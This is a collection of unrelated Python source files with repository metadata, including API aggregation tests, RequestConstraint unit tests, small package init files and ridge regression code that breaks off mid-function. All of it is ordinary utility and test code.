'1970-01-03T00:00:00.000'], "hour"), ("hour", ['1970-01-01T00:00:00.000', '1970-01-01T01:00:00.000', '1970-01-01T02:00:00.000'], "minute"), ("minute", ['1970-01-01T00:00:00.000', '1970-01-01T00:01:00.000', '1970-01-01T00:02:00.000'], "second"), ]) def test_NTNE1A_aggrPeriod(translator, aggr_period, exp_index, ins_period): # Custom index to test aggrPeriod for i in exp_index: base = datetime.strptime(i, "%Y-%m-%dT%H:%M:%S.%f") insert_test_data(translator, [entity_type], index_size=5, index_base=base, index_period=ins_period) # aggrPeriod needs aggrMethod query_params = { 'aggrPeriod': aggr_period, } r = requests.get(query_url(), params=query_params) assert r.status_code == 400, r.text # Check aggregation with aggrPeriod query_params = { 'attrs': 'temperature', 'aggrMethod': 'sum', 'aggrPeriod': aggr_period, } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text expected_temperatures = 0 + 1 + 2 + 3 + 4 # Assert obtained = r.json() expected_entities = [ { 'entityId': 'Room0', 'index': exp_index, 'values': [expected_temperatures, expected_temperatures, expected_temperatures] } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected def test_not_found(): query_params = { 'id': 'RoomNotValid' } r = requests.get(query_url(), params=query_params) assert r.status_code == 404, r.text assert r.json() == { "error": "Not Found", "description": "No records were found for such query." } def test_NTNE1A_aggrScope(reporter_dataset): # Notify users when not yet implemented query_params = { 'aggrMethod': 'avg', 'aggrScope': 'global', } r = requests.get(query_url(), params=query_params) assert r.status_code == 501, r.text def test_aggregation_is_per_instance(translator): t = 'Room' insert_test_data(translator, [t], entity_id='Room1', index_size=3) query_params = { 'attrs': 'temperature', 'id': 'Room1', 'aggrMethod': 'sum' } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '','' ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': [sum(range(3))] } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected # Index array in the response is the used fromDate and toDate query_params = { 'attrs': 'temperature', 'id': 'Room1', 'aggrMethod': 'max', 'fromDate': datetime(1970, 1, 1).isoformat(), 'toDate': datetime(1970, 1, 2).isoformat(), } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(2)) expected_index = [ '1970-01-{:02}T00:00:00'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': [1] } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected query_params = { 'attrs': 'temperature', 'id': 'Room1', 'aggrMethod': 'avg' } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '','' ] obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '','' ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': [1] } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected

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py

Python

compiled/construct/zlib_with_header_78.py

smarek/ci_targets

c5edee7b0901fd8e7f75f85245ea4209b38e0cb3

[ "MIT" ]

4

2017-04-08T12:55:11.000Z

2020-12-05T21:09:31.000Z

compiled/construct/zlib_with_header_78.py

smarek/ci_targets

c5edee7b0901fd8e7f75f85245ea4209b38e0cb3

[ "MIT" ]

7

2018-04-23T01:30:33.000Z

2020-10-30T23:56:14.000Z

compiled/construct/zlib_with_header_78.py

smarek/ci_targets

c5edee7b0901fd8e7f75f85245ea4209b38e0cb3

[ "MIT" ]

6

2017-04-08T11:41:14.000Z

2020-10-30T22:47:31.000Z

from construct import * from construct.lib import * zlib_with_header_78 = Struct( 'data' / GreedyBytes, ) _schema = zlib_with_header_78

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test/test_all_of_instance_permission_set_response_byond_rights.py

ike709/tgs4-api-pyclient

97918cfe614cc4ef06ef2485efff163417a8cd44

[ "MIT" ]

null

test/test_all_of_instance_permission_set_response_byond_rights.py

ike709/tgs4-api-pyclient

97918cfe614cc4ef06ef2485efff163417a8cd44

[ "MIT" ]

null

test/test_all_of_instance_permission_set_response_byond_rights.py

ike709/tgs4-api-pyclient

97918cfe614cc4ef06ef2485efff163417a8cd44

[ "MIT" ]

null

# coding: utf-8 """ TGS API A production scale tool for BYOND server management # noqa: E501 OpenAPI spec version: 9.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import swagger_client from swagger_client.models.all_of_instance_permission_set_response_byond_rights import AllOfInstancePermissionSetResponseByondRights # noqa: E501 from swagger_client.rest import ApiException class TestAllOfInstancePermissionSetResponseByondRights(unittest.TestCase): """AllOfInstancePermissionSetResponseByondRights unit test stubs""" def setUp(self): pass def tearDown(self): pass def testAllOfInstancePermissionSetResponseByondRights(self): """Test AllOfInstancePermissionSetResponseByondRights""" # FIXME: construct object with mandatory attributes with example values # model = swagger_client.models.all_of_instance_permission_set_response_byond_rights.AllOfInstancePermissionSetResponseByondRights() # noqa: E501 pass if __name__ == '__main__': unittest.main()

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114

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0.040189

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0.165202

1,138

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0.214286

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1

0

1

0

1

0

6

99a222dfd65ae2b87c29e4d51739d54a2668e16f

211

py

Python

backend/grant/patches.py

DSBUGAY2/zcash-grant-system

729b9edda13bd1eeb3f445d889264230c6470d7e

[ "MIT" ]

8

2019-06-03T16:29:49.000Z

2021-05-11T20:38:36.000Z

backend/grant/patches.py

DSBUGAY2/zcash-grant-system

729b9edda13bd1eeb3f445d889264230c6470d7e

[ "MIT" ]

342

2019-01-15T19:13:58.000Z

2020-03-24T16:38:13.000Z

backend/grant/patches.py

DSBUGAY2/zcash-grant-system

729b9edda13bd1eeb3f445d889264230c6470d7e

[ "MIT" ]

5

2019-02-15T09:06:47.000Z

2022-01-24T21:38:41.000Z

from werkzeug import http, wrappers from grant.werkzeug_http_fork import dump_cookie def patch_werkzeug_set_samesite(): http.dump_cookie = dump_cookie wrappers.base_response.dump_cookie = dump_cookie

23.444444

52

0.819905

30

211

5.4

0.5

0.308642

0.17284

0.246914

0

0.132701

211

8

53

26.375

0.885246

0

1

0.2

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1

0

null

0

1

0

1

0

1

0

6

51029f914659a3ab866b75e22b8fb9d023ded3d8

372

py

Python

torch/ao/quantization/__init__.py

svecjan/pytorch

09d221e8d439bc748b162c028f7eece202688adf

[ "Intel" ]

3

2020-06-11T04:57:15.000Z

2021-09-15T22:28:52.000Z

torch/ao/quantization/__init__.py

svecjan/pytorch

09d221e8d439bc748b162c028f7eece202688adf

[ "Intel" ]

1

2021-04-22T18:37:42.000Z

2021-04-28T00:53:25.000Z

torch/ao/quantization/__init__.py

svecjan/pytorch

09d221e8d439bc748b162c028f7eece202688adf

[ "Intel" ]

null

from .fake_quantize import * # noqa: F403 # TODO(future PR): fix the typo, should be `__all__` _all__ = [ # FakeQuantize (for qat) 'default_fake_quant', 'default_weight_fake_quant', 'default_symmetric_fixed_qparams_fake_quant', 'default_affine_fixed_qparams_fake_quant', 'default_per_channel_weight_fake_quant', 'default_histogram_fake_quant', ]

31

54

0.755376

48

372

5.208333

0.583333

0.216

0.32

0.176

0.224

0

0.009494

0.150538

372

11

55

33.818182

0.781646

0.225806

0

0.665493

0.602113

0

0.090909

0

1

0

false

0

0.125

0

0.125

0

null

1

0

1

null

0

1

0

6

5ad986fc8d5cdda5aa2288bf1c0c2ec4e02308c1

142

py

Python

jade2/deep_learning/torch/__init__.py

RosettaCommons/jade2

40affc7c4e0f1f6ee07030e72de284e3484946e7

[ "BSD-3-Clause" ]

1

2019-12-23T21:52:23.000Z

jade2/deep_learning/torch/__init__.py

RosettaCommons/jade2

40affc7c4e0f1f6ee07030e72de284e3484946e7

[ "BSD-3-Clause" ]

null

jade2/deep_learning/torch/__init__.py

RosettaCommons/jade2

40affc7c4e0f1f6ee07030e72de284e3484946e7

[ "BSD-3-Clause" ]

1

2021-01-28T18:59:03.000Z

from .layers import * from .modules import * from .tensor_creation import * from .training import * from .util import * from .metrics import *

23.666667

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0.753521

19

142

5.578947

0.473684

0.471698

0

0.161972

142

6

31

23.666667

0.890756

0

1

0

true

0

1

0

1

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null

1

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1

0

null

0

1

0

1

0

1

0

6

51c4bdf11005df47125b64ad2de25f2f362c84c2

45

py

Python

tests/files/fail_3.py

NathanVaughn/pyleft

3e2c0bbf84416afa4ed653a65f3fd37e589c7efa

[ "MIT" ]

null

tests/files/fail_3.py

NathanVaughn/pyleft

3e2c0bbf84416afa4ed653a65f3fd37e589c7efa

[ "MIT" ]

2

2021-12-09T00:20:21.000Z

2022-01-01T23:26:17.000Z

tests/files/fail_3.py

NathanVaughn/pyleft

3e2c0bbf84416afa4ed653a65f3fd37e589c7efa

[ "MIT" ]

null

class Car: def drive(self): pass

11.25

20

0.533333

6

45

4

1

0

0.377778

45

3

21

15

0.857143

0

1

0.333333

false

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

cfb2a0157f30834779e68730d5f0a41146770b7b

11,175

py

Python

awips/test/dafTests/testRequestConstraint.py

mjames-upc/python-awips

e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c

[ "BSD-3-Clause" ]

null

awips/test/dafTests/testRequestConstraint.py

mjames-upc/python-awips

e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c

[ "BSD-3-Clause" ]

null

awips/test/dafTests/testRequestConstraint.py

mjames-upc/python-awips

e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c

[ "BSD-3-Clause" ]

null

from dynamicserialize.dstypes.com.raytheon.uf.common.dataquery.requests import RequestConstraint import unittest # # Unit tests for Python implementation of RequestConstraint # # SOFTWARE HISTORY # # Date Ticket# Engineer Description # ------------ ---------- ----------- -------------------------- # 07/22/16 2416 tgurney Initial creation # # class RequestConstraintTestCase(unittest.TestCase): def _newRequestConstraint(self, constraintType, constraintValue): constraint = RequestConstraint() constraint.constraintType = constraintType constraint.constraintValue = constraintValue return constraint def testEvaluateEquals(self): new = RequestConstraint.new self.assertTrue(new('=', 3).evaluate(3)) self.assertTrue(new('=', 3).evaluate('3')) self.assertTrue(new('=', '3').evaluate(3)) self.assertTrue(new('=', 12345).evaluate(12345)) self.assertTrue(new('=', 'a').evaluate('a')) self.assertTrue(new('=', 'a').evaluate(u'a')) self.assertTrue(new('=', 1.0001).evaluate(2.0 - 0.999999)) self.assertTrue(new('=', 1.00001).evaluate(1)) self.assertFalse(new('=', 'a').evaluate(['a'])) self.assertFalse(new('=', 'a').evaluate(['b'])) self.assertFalse(new('=', 3).evaluate(4)) self.assertFalse(new('=', 4).evaluate(3)) self.assertFalse(new('=', 'a').evaluate('z')) def testEvaluateNotEquals(self): new = RequestConstraint.new self.assertTrue(new('!=', 'a').evaluate(['a'])) self.assertTrue(new('!=', 'a').evaluate(['b'])) self.assertTrue(new('!=', 3).evaluate(4)) self.assertTrue(new('!=', 4).evaluate(3)) self.assertTrue(new('!=', 'a').evaluate('z')) self.assertFalse(new('!=', 3).evaluate('3')) self.assertFalse(new('!=', '3').evaluate(3)) self.assertFalse(new('!=', 3).evaluate(3)) self.assertFalse(new('!=', 12345).evaluate(12345)) self.assertFalse(new('!=', 'a').evaluate('a')) self.assertFalse(new('!=', 'a').evaluate(u'a')) self.assertFalse(new('!=', 1.0001).evaluate(2.0 - 0.9999)) def testEvaluateGreaterThan(self): new = RequestConstraint.new self.assertTrue(new('>', 1.0001).evaluate(1.0002)) self.assertTrue(new('>', 'a').evaluate('b')) self.assertTrue(new('>', 3).evaluate(4)) self.assertFalse(new('>', 20).evaluate(3)) self.assertFalse(new('>', 12345).evaluate(12345)) self.assertFalse(new('>', 'a').evaluate('a')) self.assertFalse(new('>', 'z').evaluate('a')) self.assertFalse(new('>', 4).evaluate(3)) def testEvaluateGreaterThanEquals(self): new = RequestConstraint.new self.assertTrue(new('>=', 3).evaluate(3)) self.assertTrue(new('>=', 12345).evaluate(12345)) self.assertTrue(new('>=', 'a').evaluate('a')) self.assertTrue(new('>=', 1.0001).evaluate(1.0002)) self.assertTrue(new('>=', 'a').evaluate('b')) self.assertTrue(new('>=', 3).evaluate(20)) self.assertFalse(new('>=', 1.0001).evaluate(1.0)) self.assertFalse(new('>=', 'z').evaluate('a')) self.assertFalse(new('>=', 40).evaluate(3)) def testEvaluateLessThan(self): new = RequestConstraint.new self.assertTrue(new('<', 'z').evaluate('a')) self.assertTrue(new('<', 30).evaluate(4)) self.assertFalse(new('<', 3).evaluate(3)) self.assertFalse(new('<', 12345).evaluate(12345)) self.assertFalse(new('<', 'a').evaluate('a')) self.assertFalse(new('<', 1.0001).evaluate(1.0002)) self.assertFalse(new('<', 'a').evaluate('b')) self.assertFalse(new('<', 3).evaluate(40)) def testEvaluateLessThanEquals(self): new = RequestConstraint.new self.assertTrue(new('<=', 'z').evaluate('a')) self.assertTrue(new('<=', 20).evaluate(3)) self.assertTrue(new('<=', 3).evaluate(3)) self.assertTrue(new('<=', 12345).evaluate(12345)) self.assertTrue(new('<=', 'a').evaluate('a')) self.assertFalse(new('<=', 1.0001).evaluate(1.0002)) self.assertFalse(new('<=', 'a').evaluate('b')) self.assertFalse(new('<=', 4).evaluate(30)) def testEvaluateIsNull(self): new = RequestConstraint.new self.assertTrue(new('=', None).evaluate(None)) self.assertTrue(new('=', None).evaluate('null')) self.assertFalse(new('=', None).evaluate(())) self.assertFalse(new('=', None).evaluate(0)) self.assertFalse(new('=', None).evaluate(False)) def testEvaluateIsNotNull(self): new = RequestConstraint.new self.assertTrue(new('!=', None).evaluate(())) self.assertTrue(new('!=', None).evaluate(0)) self.assertTrue(new('!=', None).evaluate(False)) self.assertFalse(new('!=', None).evaluate(None)) self.assertFalse(new('!=', None).evaluate('null')) def testEvaluateIn(self): new = RequestConstraint.new self.assertTrue(new('in', [3]).evaluate(3)) self.assertTrue(new('in', ['a', 'b', 3]).evaluate(3)) self.assertTrue(new('in', 'a').evaluate('a')) self.assertTrue(new('in', [3, 4, 5]).evaluate('5')) self.assertTrue(new('in', [1.0001, 2, 3]).evaluate(2.0 - 0.9999)) self.assertFalse(new('in', ['a', 'b', 'c']).evaluate('d')) self.assertFalse(new('in', 'a').evaluate('b')) def testEvaluateNotIn(self): new = RequestConstraint.new self.assertTrue(new('not in', ['a', 'b', 'c']).evaluate('d')) self.assertTrue(new('not in', [3, 4, 5]).evaluate(6)) self.assertTrue(new('not in', 'a').evaluate('b')) self.assertFalse(new('not in', [3]).evaluate(3)) self.assertFalse(new('not in', ['a', 'b', 3]).evaluate(3)) self.assertFalse(new('not in', 'a').evaluate('a')) self.assertFalse(new('not in', [1.0001, 2, 3]).evaluate(2.0 - 0.9999)) def testEvaluateLike(self): # cannot make "like" with RequestConstraint.new() new = self._newRequestConstraint self.assertTrue(new('LIKE', 'a').evaluate('a')) self.assertTrue(new('LIKE', 'a%').evaluate('a')) self.assertTrue(new('LIKE', 'a%').evaluate('abcd')) self.assertTrue(new('LIKE', '%a').evaluate('a')) self.assertTrue(new('LIKE', '%a').evaluate('bcda')) self.assertTrue(new('LIKE', '%').evaluate('')) self.assertTrue(new('LIKE', '%').evaluate('anything')) self.assertTrue(new('LIKE', 'a%d').evaluate('ad')) self.assertTrue(new('LIKE', 'a%d').evaluate('abcd')) self.assertTrue(new('LIKE', 'aa.()!{[]^%$').evaluate('aa.()!{[]^zzz$')) self.assertTrue(new('LIKE', 'a__d%').evaluate('abcdefg')) self.assertFalse(new('LIKE', 'a%').evaluate('b')) self.assertFalse(new('LIKE', 'a%').evaluate('ba')) self.assertFalse(new('LIKE', '%a').evaluate('b')) self.assertFalse(new('LIKE', '%a').evaluate('ab')) self.assertFalse(new('LIKE', 'a%').evaluate('A')) self.assertFalse(new('LIKE', 'A%').evaluate('a')) self.assertFalse(new('LIKE', 'a%d').evaluate('da')) self.assertFalse(new('LIKE', 'a__d%').evaluate('abccdefg')) self.assertFalse(new('LIKE', '....').evaluate('aaaa')) self.assertFalse(new('LIKE', '.*').evaluate('anything')) def testEvaluateILike(self): # cannot make "ilike" with RequestConstraint.new() new = self._newRequestConstraint self.assertTrue(new('ILIKE', 'a').evaluate('a')) self.assertTrue(new('ILIKE', 'a%').evaluate('a')) self.assertTrue(new('ILIKE', 'a%').evaluate('abcd')) self.assertTrue(new('ILIKE', '%a').evaluate('a')) self.assertTrue(new('ILIKE', '%a').evaluate('bcda')) self.assertTrue(new('ILIKE', '%').evaluate('')) self.assertTrue(new('ILIKE', '%').evaluate('anything')) self.assertTrue(new('ILIKE', 'a%d').evaluate('ad')) self.assertTrue(new('ILIKE', 'a%d').evaluate('abcd')) self.assertTrue(new('ILIKE', 'a').evaluate('A')) self.assertTrue(new('ILIKE', 'a%').evaluate('A')) self.assertTrue(new('ILIKE', 'a%').evaluate('ABCD')) self.assertTrue(new('ILIKE', '%a').evaluate('A')) self.assertTrue(new('ILIKE', '%a').evaluate('BCDA')) self.assertTrue(new('ILIKE', '%').evaluate('')) self.assertTrue(new('ILIKE', '%').evaluate('anything')) self.assertTrue(new('ILIKE', 'a%d').evaluate('AD')) self.assertTrue(new('ILIKE', 'a%d').evaluate('ABCD')) self.assertTrue(new('ILIKE', 'A').evaluate('a')) self.assertTrue(new('ILIKE', 'A%').evaluate('a')) self.assertTrue(new('ILIKE', 'A%').evaluate('abcd')) self.assertTrue(new('ILIKE', '%A').evaluate('a')) self.assertTrue(new('ILIKE', '%A').evaluate('bcda')) self.assertTrue(new('ILIKE', '%').evaluate('')) self.assertTrue(new('ILIKE', '%').evaluate('anything')) self.assertTrue(new('ILIKE', 'A%D').evaluate('ad')) self.assertTrue(new('ILIKE', 'A%D').evaluate('abcd')) self.assertTrue(new('ILIKE', 'aa.()!{[]^%$').evaluate('AA.()!{[]^zzz$')) self.assertTrue(new('ILIKE', 'a__d%').evaluate('abcdefg')) self.assertTrue(new('ILIKE', 'a__d%').evaluate('ABCDEFG')) self.assertFalse(new('ILIKE', 'a%').evaluate('b')) self.assertFalse(new('ILIKE', 'a%').evaluate('ba')) self.assertFalse(new('ILIKE', '%a').evaluate('b')) self.assertFalse(new('ILIKE', '%a').evaluate('ab')) self.assertFalse(new('ILIKE', 'a%d').evaluate('da')) self.assertFalse(new('ILIKE', 'a__d%').evaluate('abccdefg')) self.assertFalse(new('ILIKE', '....').evaluate('aaaa')) self.assertFalse(new('ILIKE', '.*').evaluate('anything')) def testEvaluateBetween(self): # cannot make "between" with RequestConstraint.new() new = self._newRequestConstraint self.assertTrue(new('BETWEEN', '1--1').evaluate(1)) self.assertTrue(new('BETWEEN', '1--10').evaluate(1)) self.assertTrue(new('BETWEEN', '1--10').evaluate(5)) self.assertTrue(new('BETWEEN', '1--10').evaluate(10)) self.assertTrue(new('BETWEEN', '1.0--1.1').evaluate(1.0)) self.assertTrue(new('BETWEEN', '1.0--1.1').evaluate(1.05)) self.assertTrue(new('BETWEEN', '1.0--1.1').evaluate(1.1)) self.assertTrue(new('BETWEEN', 'a--x').evaluate('a')) self.assertTrue(new('BETWEEN', 'a--x').evaluate('j')) self.assertTrue(new('BETWEEN', 'a--x').evaluate('x')) self.assertFalse(new('BETWEEN', '1--1').evaluate(2)) self.assertFalse(new('BETWEEN', '1--2').evaluate(10)) self.assertFalse(new('BETWEEN', '1--10').evaluate(0)) self.assertFalse(new('BETWEEN', '1--10').evaluate(11)) self.assertFalse(new('BETWEEN', '1.0--1.1').evaluate(0.99)) self.assertFalse(new('BETWEEN', '1.0--1.1').evaluate(1.11)) self.assertFalse(new('BETWEEN', 'a--x').evaluate(' ')) self.assertFalse(new('BETWEEN', 'a--x').evaluate('z'))

49.446903

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null

1

0

1

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null

0

1

0

6

5c73cc7a01f174eb64abd1ee0a0082418ae379cc

177

py

Python

hci/event/events/__init__.py

svdpuranik/python-hci

4920f9555d32704ea918f7ae5d705b18e78281e5

[ "MIT" ]

16

2017-11-28T18:06:40.000Z

2022-02-11T09:19:40.000Z

hci/event/events/__init__.py

svdpuranik/python-hci

4920f9555d32704ea918f7ae5d705b18e78281e5

[ "MIT" ]

3

2017-12-19T11:19:55.000Z

2018-01-04T18:32:44.000Z

hci/event/events/__init__.py

svdpuranik/python-hci

4920f9555d32704ea918f7ae5d705b18e78281e5

[ "MIT" ]

9

2017-12-18T19:39:10.000Z

2022-01-25T01:43:03.000Z

from .vendor_specific_event import VendorSpecificEvent from .hci_command_complete import HCI_CommandComplete from .vendor_specific import * from .hci_commands_complete import *

35.4

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null

0

1

0

1

0

1

0

6

5cd5faa2f1657a44298d0ffb37363aed13343667

32,258

py

Python

supplemental_files/strf/ridge.py

HamiltonLabUT/lab_intro_notebooks

be6e8988307b0fe6ccbca3b4052b14022d3b6de6

[ "BSD-3-Clause" ]

null

supplemental_files/strf/ridge.py

HamiltonLabUT/lab_intro_notebooks

be6e8988307b0fe6ccbca3b4052b14022d3b6de6

[ "BSD-3-Clause" ]

null

supplemental_files/strf/ridge.py

HamiltonLabUT/lab_intro_notebooks

be6e8988307b0fe6ccbca3b4052b14022d3b6de6

[ "BSD-3-Clause" ]

null

#import scipy import numpy as np import logging from supplemental_files.strf.utils import mult_diag, counter import random import itertools as itools #from matplotlib import pyplot as plt zs = lambda v: (v-v.mean(0))/v.std(0) ## z-score function ridge_logger = logging.getLogger("ridge_corr") def ridge(stim, resp, alpha, singcutoff=1e-10, normalpha=False, logger=ridge_logger): """Uses ridge regression to find a linear transformation of [stim] that approximates [resp]. The regularization parameter is [alpha]. Parameters ---------- stim : array_like, shape (T, N) Stimuli with T time points and N features. resp : array_like, shape (T, M) Responses with T time points and M separate responses. alpha : float or array_like, shape (M,) Regularization parameter. Can be given as a single value (which is applied to all M responses) or separate values for each response. normalpha : boolean Whether ridge parameters should be normalized by the largest singular value of stim. Good for comparing models with different numbers of parameters. Returns ------- wt : array_like, shape (N, M) Linear regression weights. """ try: U,S,Vh = np.linalg.svd(stim, full_matrices=False) except np.linalg.LinAlgError: logger.info("NORMAL SVD FAILED, trying more robust dgesvd..") from text.regression.svd_dgesvd import svd_dgesvd U,S,Vh = svd_dgesvd(stim, full_matrices=False) UR = np.dot(U.T, np.nan_to_num(resp)) #plt.imshow(UR) # Expand alpha to a collection if it's just a single value if isinstance(alpha, float): alpha = np.ones(resp.shape[1]) * alpha # Normalize alpha by the LSV norm norm = S[0] if normalpha: nalphas = alpha * norm else: nalphas = alpha # Compute weights for each alpha ualphas = np.unique(nalphas) wt = np.zeros((stim.shape[1], resp.shape[1])) for ua in ualphas: selvox = np.nonzero(nalphas==ua)[0] #awt = reduce(np.dot, [Vh.T, np.diag(S/(S**2+ua**2)), UR[:,selvox]]) awt = np.dot(Vh.T, np.dot(np.diag(S/(S**2+ua**2)), UR[:,selvox])) wt[:,selvox] = awt return wt def eigridge(stim, resp, alpha, singcutoff=1e-10, normalpha=False, force_cmode=None, covmat=None, Q=None, L=None, logger=ridge_logger): """Uses ridge regression with eigenvalue decomposition to find a linear transformation of [stim] that approximates [resp]. The regularization parameter is [alpha]. Parameters ---------- stim : array_like, shape (T, N) Stimuli with T time points and N features. resp : array_like, shape (T, M) Responses with T time points and M separate responses. alpha : float or array_like, shape (M,) Regularization parameter. Can be given as a single value (which is applied to all M responses) or separate values for each response. normalpha : boolean Whether ridge parameters should be normalized by the largest singular value of stim. Good for comparing models with different numbers of parameters. Returns ------- wt : array_like, shape (N, M) Linear regression weights. """ if force_cmode is not None: cmode = force_cmode else: cmode = stim.shape[0]<stim.shape[1] print("Cmode =",cmode) if cmode: print("Number of time points is less than the number of features") else: print("Number of time points is greater than the number of features") logger.info("Doing Eigenvalue decomposition on the full stimulus matrix...") if cmode: # Make covmat first dim x first dim if covmat is None: print("stim shape: ",) print(stim.shape) covmat = np.array(np.dot(stim, stim.T)) print( "Covmat shape: ",) print( covmat.shape) if Q is None and L is None: L, Q = np.linalg.eigh(covmat) print( "COV L.T stim.T resp: ",) print( stim.T.shape, Q.shape, Q.T.shape, resp.shape) Q1 = np.dot(stim.T, Q) Q2 = np.dot(Q.T, resp) else: # Make covmat second dim x second dim if covmat is None: print( "stim shape (not cmode): ", ) print( stim.shape) covmat = np.array(np.dot(stim.T, stim)) print( "Covmat shape: ",) print( covmat.shape) if Q is None and L is None: L, Q = np.linalg.eigh(covmat) print( Q.T.shape, stim.T.shape, resp.shape) QT_XT_Y = np.dot(Q.T, np.dot(stim.T, resp)) # Expand alpha to a collection if it's just a single value if isinstance(alpha, float): alpha = np.ones(resp.shape[1]) * alpha # Compute weights for each alpha logger.info("Computing weights") ualphas = np.unique(alpha) wt = np.zeros((stim.shape[1], resp.shape[1])) for ua in ualphas: selected_elec = np.nonzero(alpha==ua)[0] D = np.diag(1 / (L + ua)) # This is for eigridge if cmode: #awt = reduce(np.dot( [Q1, D, Q2[:,selected_elec]])) awt = np.dot( Q1, np.dot(D, Q2[:,selected_elec])) else: awt = np.dot(Q, np.dot(D, QT_XT_Y[:,selected_elec])) wt[:,selected_elec] = awt return wt def ridge_corr(Rstim, Pstim, Rresp, Presp, alphas, normalpha=False, corrmin=0.2, singcutoff=1e-10, use_corr=True, logger=ridge_logger): """Uses ridge regression to find a linear transformation of [Rstim] that approximates [Rresp], then tests by comparing the transformation of [Pstim] to [Presp]. This procedure is repeated for each regularization parameter alpha in [alphas]. The correlation between each prediction and each response for each alpha is returned. The regression weights are NOT returned, because computing the correlations without computing regression weights is much, MUCH faster. Parameters ---------- Rstim : array_like, shape (TR, N) Training stimuli with TR time points and N features. Each feature should be Z-scored across time. Pstim : array_like, shape (TP, N) Test stimuli with TP time points and N features. Each feature should be Z-scored across time. Rresp : array_like, shape (TR, M) Training responses with TR time points and M responses (voxels, neurons, what-have-you). Each response should be Z-scored across time. Presp : array_like, shape (TP, M) Test responses with TP time points and M responses. alphas : list or array_like, shape (A,) Ridge parameters to be tested. Should probably be log-spaced. np.logspace(0, 3, 20) works well. normalpha : boolean Whether ridge parameters should be normalized by the largest singular value (LSV) norm of Rstim. Good for comparing models with different numbers of parameters. corrmin : float in [0..1] Purely for display purposes. After each alpha is tested, the number of responses with correlation greater than corrmin minus the number of responses with correlation less than negative corrmin will be printed. For long-running regressions this vague metric of non-centered skewness can give you a rough sense of how well the model is working before it's done. singcutoff : float The first step in ridge regression is computing the singular value decomposition (SVD) of the stimulus Rstim. If Rstim is not full rank, some singular values will be approximately equal to zero and the corresponding singular vectors will be noise. These singular values/vectors should be removed both for speed (the fewer multiplications the better!) and accuracy. Any singular values less than singcutoff will be removed. use_corr : boolean If True, this function will use correlation as its metric of model fit. If False, this function will instead use variance explained (R-squared) as its metric of model fit. For ridge regression this can make a big difference -- highly regularized solutions will have very small norms and will thus explain very little variance while still leading to high correlations, as correlation is scale-free while R**2 is not. Returns ------- Rcorrs : array_like, shape (A, M) The correlation between each predicted response and each column of Presp for each alpha. """ ## Calculate SVD of stimulus matrix logger.info("Doing SVD...") try: U,S,Vh = np.linalg.svd(Rstim, full_matrices=False) except np.linalg.LinAlgError: logger.info("NORMAL SVD FAILED, trying more robust dgesvd..") from text.regression.svd_dgesvd import svd_dgesvd U,S,Vh = svd_dgesvd(Rstim, full_matrices=False) ## Truncate tiny singular values for speed origsize = S.shape[0] ngoodS = np.sum(S > singcutoff) nbad = origsize-ngoodS U = U[:,:ngoodS] S = S[:ngoodS] Vh = Vh[:ngoodS] logger.info("Dropped %d tiny singular values.. (U is now %s)"%(nbad, str(U.shape))) ## Normalize alpha by the LSV norm norm = S[0] logger.info("Training stimulus has LSV norm: %0.03f"%norm) if normalpha: nalphas = alphas * norm else: nalphas = alphas ## Precompute some products for speed UR = np.dot(U.T, Rresp) ## Precompute this matrix product for speed PVh = np.dot(Pstim, Vh.T) ## Precompute this matrix product for speed #Prespnorms = np.apply_along_axis(np.linalg.norm, 0, Presp) ## Precompute test response norms zPresp = zs(Presp) #Prespvar = Presp.var(0) Prespvar_actual = Presp.var(0) Prespvar = (np.ones_like(Prespvar_actual) + Prespvar_actual) / 2.0 logger.info("Average difference between actual & assumed Prespvar: %0.3f" % (Prespvar_actual - Prespvar).mean()) Rcorrs = [] ## Holds training correlations for each alpha for na, a in zip(nalphas, alphas): #D = np.diag(S/(S**2+a**2)) ## Reweight singular vectors by the ridge parameter D = S / (S ** 2 + na ** 2) ## Reweight singular vectors by the (normalized?) ridge parameter pred = np.dot(mult_diag(D, PVh, left=False), UR) ## Best (1.75 seconds to prediction in test) # pred = np.dot(mult_diag(D, np.dot(Pstim, Vh.T), left=False), UR) ## Better (2.0 seconds to prediction in test) # pvhd = reduce(np.dot, [Pstim, Vh.T, D]) ## Pretty good (2.4 seconds to prediction in test) # pred = np.dot(pvhd, UR) # wt = reduce(np.dot, [Vh.T, D, UR]).astype(dtype) ## Bad (14.2 seconds to prediction in test) # wt = reduce(np.dot, [Vh.T, D, U.T, Rresp]).astype(dtype) ## Worst # pred = np.dot(Pstim, wt) ## Predict test responses if use_corr: #prednorms = np.apply_along_axis(np.linalg.norm, 0, pred) ## Compute predicted test response norms #Rcorr = np.array([np.corrcoef(Presp[:,ii], pred[:,ii].ravel())[0,1] for ii in range(Presp.shape[1])]) ## Slowly compute correlations #Rcorr = np.array(np.sum(np.multiply(Presp, pred), 0)).squeeze()/(prednorms*Prespnorms) ## Efficiently compute correlations Rcorr = (zPresp * zs(pred)).mean(0) else: ## Compute variance explained resvar = (Presp - pred).var(0) Rsq = 1 - (resvar / Prespvar) 